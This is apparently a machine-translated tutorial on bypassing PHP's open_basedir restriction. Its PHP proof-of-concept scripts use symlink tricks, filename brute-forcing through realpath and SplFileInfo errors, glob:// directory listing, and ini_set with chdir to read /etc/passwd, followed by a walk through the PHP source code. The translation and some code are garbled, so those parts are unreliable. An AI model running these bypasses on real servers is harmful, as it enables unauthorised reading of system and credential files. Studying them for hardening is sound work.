A, open_basedir

Take a look at the description in php.ini:

 ; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory or
; per-virtualhost web server configuration file. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off. 
Copy the code

Open_basedir can restrict user access to a file to a specified area, usually the path to its directory, or the current directory can be represented by the symbol “.”.

Note that the restrictions specified with open_basedir are actually prefixes, not directory names. For example, if open_basedir = /dir/user”, then the directories “/dir/user” and “/dir/user1” are accessible, so if you want to restrict access to only the specified directory, You can set open_basedir = /dir/user/

Second, the Bypass

Command execution

Because open_basedir has nothing to do with command execution, you can get the target file directly.

If you encounter disable_functions, switch to several more functions; If the keyword is filtered, there are many ways, you can refer to the big guy article

【 Safety Technology Learning Document 】

syslink() php 4/5/7/8

symlink(string $target, string $link): bool
Copy the code

The principle is to create A link file aaa with A relative path to A/B/C/D, and create A link file ABC to aaa/.. /.. /.. /.. /etc/passwd: A/B/C/D/… /.. /.. /.. /etc/passwd, also known as /etc/passwd. Delete the aaa file and create the AAA directory, but ABC still refers to AAA, A/B/C/D/.. /.. /.. /.. /etc/passwd /etc/passwd /etc/passwd /etc/passwd / to set the target file.

<? php highlight_file ( __FILE__ ); mkdir ( "A" ); // create directory chdir ("A"); // change directory mkdir ("B"); chdir ( "B" ); mkdir ( "C" ); chdir ( "C" ); mkdir ( "D" ); chdir ( "D" ); chdir ( ".." ); chdir ( ".." ); chdir ( ".." ); chdir ( ".." ); symlink ( "A/B/C/D" , "aaa" ); symlink ( "aaa/.. /.. /.. /.. /etc/passwd" , "abc" ); unlink ( "aaa" ); mkdir ( "aaa" ); ? >Copy the code

Brute force

realpath()

Realpath is a function that converts a relative path to an absolute path and stores it in an array of strings or Pointers to resolved_path. If resolved_path is NULL, the function calls malloc to allocate a PATH_MAX block of memory to hold the parsed absolute path and returns a pointer to that block.

Interestingly, after open_basedir is enabled, it will return false if we pass a path to a file (directory) that does not exist; When we pass a File (directory) that is not in open_basedir, it will throw an error (File is not within the allowed path(s)).

If you keep blasting, it’s particularly troublesome… So you can use wildcards to blast, conditions: Windows environment.

 <?php
highlight_file ( __FILE__ ); 
ini_set ( 'open_basedir' ,  dirname ( __FILE__ )); 
printf ( "<b>open_basedir: %s</b><br />" ,  ini_get ( 'open_basedir' )); 
set_error_handler ( 'isexists' ); 
$dir = 'd:/WEB/' ; 
$file = '' ; 
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_' ; 
for  ( $i= 0 ;  $i  <  strlen ( $chars );  $i ++ )   {  
    $file = $dir  .  $chars [ $i ]   .  '<><' ; 
    realpath ( $file ); 
 } 
function isexists ( $errno ,  $errstr ) 
 { 
    $regexp = '/File((.*)) is not within/' ; 
    preg_match ( $regexp ,  $errstr ,  $matches ); 
    if  ( isset ( $matches [ 1 ]))   { 
        printf ( "%s <br/>" ,  $matches [ 1 ]); 
     } 
 } 
 ?> 
Copy the code

The bindtextdomain () and SplFileInfo: : getRealPath ()

In addition to realPath (), bindTextDomain () and SplFileInfo::getRealPath() work similarly. You can also get an absolute path.

bindtextdomain(string $domain, ? string $directory): string|falseCopy the code

$directory returns the value of $directory if it exists, or false if it does not.

It is also worth noting that the BindTextDomain function does not exist on Windows, but does exist on Linux.

The SplFileInfo class provides a high-level object-oriented interface for information about a single file, and the SplFileInfo::getRealPath class method is used to get the absolute path to the file.

Why do you put these two together? Because the same as the above bindTextDomain, is based on error judgment, and then blasting.

<? php ini_set ( 'open_basedir' , dirname ( __FILE__ )); printf ( "<b>open_basedir: %s</b><br />" , ini_get ( 'open_basedir' )); $basedir = 'D:/test/' ; $arr = array (); $chars = 'abcdefghijklmnopqrstuvwxyz0123456789' ; for ( $i= 0 ; $i < strlen ( $chars ); $i ++ ) { $info = new SplFileInfo ( $basedir . $chars [ $i ] . '<><' ); $re = $info-> getRealPath (); if ( $re ) { dump ( $re ); } } function dump ( $s ){ echo $s . '<br/>' ; ob_flush (); flush (); }? >Copy the code

The glob: / / pseudo protocol

Glob :// – Searches for a matching file path pattern

Arbitrary file names are listed as a result of design defects: Open_basedir and safe_mode are not detected. Glob :// can be used to list the file name. But cannot read the contents of the file; A simple listing of directories that can be used to bypass open_basedir.)

There is no way around glob:// alone, it is done in conjunction with other functions

DirectoryIterator+glob://

DirectoryIterator is a class that was added to PHP5 to provide a simple interface for viewing directories. Combining these two methods, we can enumerate directories in php5.3 and later.

<? php highlight_file ( __FILE__ ); printf ( '<b>open_basedir : %s </b><br />' , ini_get ( 'open_basedir' )); $a = $_GET [ 'a' ]; $b = new DirectoryIterator ( $a ); foreach ( $b as $c ){ echo ( $c-> __toString () . '<br>' ); }? >Copy the code

Open_basedir can list files in the root directory, but only files in the root directory and the open_basedir specified directory cannot be listed.

opendir()+readdir()+glob://

The opendir() function opens the directory handle and the readdir() function reads the entry from the directory handle. Combine two functions to list files in the root directory:

<? php highlight_file ( __FILE__ ); $a = $_GET [ 'c' ]; if ( $b = opendir ( $a ) ) { while ( ( $file = readdir ( $b )) ! == false ) { echo $file . "<br>" ; } closedir ( $b ); }? >Copy the code

Similarly, only files in the root directory and the open_basedir specified directory can be listed.

Most ostentatious – use ini_set() to bypass

ini_set()

Ini_set () is used to set the php.ini value. This takes effect at the end of the script. You can modify the configuration without opening the php.ini file. The function can be used as follows:

ini_set ( string $varname , string $newvalue ) : string
Copy the code

POC

<? php highlight_file ( __FILE__ ); mkdir ( 'Andy' ); // create directory chdir ('Andy'); Ini_set ('open_basedir', '.. '); // switch open_basedir to chdir ('.. '); // Switch to the root directory chdir ('.. '); chdir ( '.. '); ini_set ( 'open_basedir' , '/' ); // set open_basedir to the root directory echo file_get_contents ('/etc/passwd'); / / read/etc/passwdCopy the code

I’m not really good at it, so I went to a binary teacher for guidance on how to get started.

if ( php_check_open_basedir_ex ( ptr , 0 ) ! = 0 ) { /* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */ efree ( pathbuf ); return FAILURE ; }Copy the code

Php_check_open_basedir_ex () must pass this check if you want to override open_basedir with ini_set.

So let’s follow this function

if ( strlen ( path ) > ( MAXPATHLEN - 1 )) {
    php_error_docref ( NULL , E_WARNING , "File name is longer than the maximum allowed path length on this platform (%d): %s" , MAXPATHLEN , path );
    errno = EINVAL ;
    return - 1 ;
}
#define PATH_MAX                 1024 /* max bytes in pathname */ 
Copy the code

This function determines whether the path name is too long, given a range of less than 1024 in the official setting.

In addition, another detection function php_check_specific_open_basedir(), again we follow up

if ( strcmp ( basedir , "." ) || ! VCWD_GETCWD ( local_open_basedir , MAXPATHLEN )) {
        /* Else use the unmodified path */
        strlcpy ( local_open_basedir , basedir , sizeof ( local_open_basedir ));
    }
path_len = strlen ( path );
if ( path_len > ( MAXPATHLEN - 1 )) {
    /* empty and too long paths are invalid */
    return - 1 ;
} 
Copy the code

Expand_filepath () : < path > < path > < path > < path > < path > < path > Store the value of local_open_basedir in resolved_basedir and compare the two.

if ( strncmp ( resolved_basedir , resolved_name , resolved_basedir_len ) == 0 ) { if ( resolved_name_len > resolved_basedir_len && resolved_name [ resolved_basedir_len - 1]! = PHP_DIR_SEPARATOR ) { return - 1 ; } else { /* File is in the right directory */ return 0 ; } } else { /* /openbasedir/ and /openbasedir are the same directory */ if ( resolved_basedir_len == ( resolved_name_len + 1 ) && resolved_basedir [ resolved_basedir_len - 1 ] == PHP_DIR_SEPARATOR ) { if ( strncasecmp ( resolved_basedir , resolved_name , resolved_name_len ) == 0 ) { if ( strncmp ( resolved_basedir , resolved_name , resolved_name_len ) == 0 ) { return 0 ; } } return - 1 ; }}Copy the code

Both values are generated by the expand_filepath function. Therefore, bypass Expand_Filepath is the key to implement bypass PHP_check_open_basedir_ex

Again, follow the expand_filepath function

According to the master, after we follow up to virtual_file_ex we get the key statement:

if ( ! IS_ABSOLUTE_PATH (path, path_length)) {if (state-> cwd_length == 0) {relative path */ start = 0; memcpy ( resolved_path , path , path_length + 1 ); } else { int state_cwd_length = state-> cwd_length ; state-> cwd_length = path_length ; memcpy ( state-> cwd , resolved_path , state-> cwd_length + 1 );Copy the code

If path is not an absolute path and state->cwd_length == 0 and the length is 0, path will be taken as an absolute path and stored in resolved_path. Otherwise it will be concatenated after state-> CWD, so the emphasis is on path_length

path_length = tsrm_realpath_r ( resolved_path , start , path_length , & ll , & t , use_realpath , 0 , NULL ); /*tsrm_realpath_r(): delete double backslash.. And the previous directory */Copy the code

In general, expand_filepath() saves relative and absolute paths, whereas open_basedir() changes in real time if it is a relative path, and that’s the problem. An open_basEDIr comparison is performed for each directory operation in the POC, namely, phP_check_OPEN_basedir_ex. The open_basedir directory jumps every time due to relative path problems.

For example, if you set open_basedir to /a/b/c/d, change it to /a/b/c after the first chdir, change it to /a/b after the second chdir, change it to /a/b after the third chdir, and change it to/after the fourth chdir, then go to ini_set. If open_basedir is set to /, the phP_check_open_basedir_ex check succeeds. As a result, open_basedir can be bypasses.

Third, summary

In fact, I feel that it would be best if I could directly RCE. And then the last pose is the sexiest by comparison; Brute force cracking should be the most tedious, but it is also a method of MA.